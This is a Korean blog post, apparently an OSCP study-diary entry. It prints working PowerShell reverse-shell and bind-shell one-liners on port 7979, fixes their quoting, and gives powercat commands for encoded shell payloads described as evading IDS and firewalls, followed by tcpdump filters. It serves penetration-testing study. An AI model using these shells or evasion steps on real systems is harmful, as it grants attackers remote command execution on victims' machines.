하루 종일 Exercises 풀고
보고서 만드느라
진도는 못 나감.
쉬운 문제도 있지만
구글링해서 공부해가며 풀어야 하는
문제들이 많아 시간이 오래 걸린다.
확실히 공부는 많이 된다.
물론 의도치 않은 영어 공부는
덤...
1. PowerShell Reverse / bind Shell code Error
아래 코드는
교재에서 복사해 쓰라고 공유하고 있는
one-liner 리버스 쉘 코드다.
powershell -c "$client = New-Object
System.Net.Sockets.TCPClient('192.168.119.160',7979);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush();}$client.Close()"
하지만 파워쉘에서는
특정 특수 문자들을
스페셜 캐릭터로 인식하기 때문에
그대로 가져다 쓰면 실행이 안 되고
에러가 난다.
해결하려면 더블 쿼트는 싱글로 바꾸고
싱글 쿼트는 더블로 바꿔야 하며
더블 쿼트 앞에는 escape 처리를 해줘야
인식이 된다.
아무튼 위 문제점을 보완한 코드는
powershell -c '$client = New-Object System.Net.Sockets.TcpClient(\"192.168.119.160\",7979);
$stream = $client.GetStream();
[byte[]]$bytes=0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();'
* iex : invok-expression command가 제일 중요한 부분
리스너 띄우고 연결해보면
성공!
bind shell 역시 마찬가지.
powershell -c '$listener = New-Object System.Net.Sockets.TcpListener(\"0.0.0.0\",7979); $listener.start();$client = $listener.AcceptTcpClient(); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($
bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; $sendbyte = ([text.encoding]::ASCII).GetBytes(
$sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};$client.Close(); $listener.Stop()'
해보지 않았으면 몰랐을 텐데
exercises 해보길 정말 잘했다.
시험 도중에 일어날 수 있는 문제를
미연에 방지한 느낌이다.
IDS나 방화벽 등에 탐지되지 않는
reverse shell stand-alone encoded payload
작성 방법은
PS C:\Users > powercat -c 192.168.10.10 -p 7979 -e cmd.exe -ge > encode_reverse_shell.ps1
PS C:\Users > notepad .\encode_reverse_shell.ps1
메모장 내용 복사 후 붙여넣기
PS C:\Users > powershell.exe -E askldjfhkxcajvnpiuawkejakldjfhvlkchvliadufhgpiahsidfUIDFHSIOlkjalsk
Bind shell stand-alone encoded payload는
PS C:\Users > powercat -l -p 7979 -e cmd.exe -ge > encode_bind_shell.ps1
PS C:\User > notepad .\encode_bind_shell.ps1
메모장 내용 복사 후
PS C:\User > powershell.exe -E 붙여넣기
2. Powercat 실행 관련
피워쉘에서 파워켓을 실행하려면
Dot-sourcing이라는 방법을 통해
사용하려는 script를 호출해야 한다.
PS C:\tools\practical_tools> . .\powercat.ps1
PS C:\tools\practical_tools> powercat
You must select either client mode (-c) or listen mode (-l).
3. TCPdump
$ sudo tcpdump -A -n 'tcp[13] & 22 != 0' -r file.pcap
$ sudo tcpdump -n 'tcp[tcpflags] & (tcp-ack|tcp-push)!=0' -r file.pcap
728x90
'OSCP > OSCP 공부일지' 카테고리의 다른 글
OSCP Day 9~14 : 일주일 공부 결산 (0) | 2021.05.10 |
---|---|
OSCP Day 8 : 일주일 공부 결산 (2) | 2021.05.03 |
OSCP Day 6 (0) | 2021.05.01 |
OSCP Day 5 : BOF2 (Linux) (0) | 2021.04.30 |
OSCP Day 4 : BOF (WIN32) (0) | 2021.04.29 |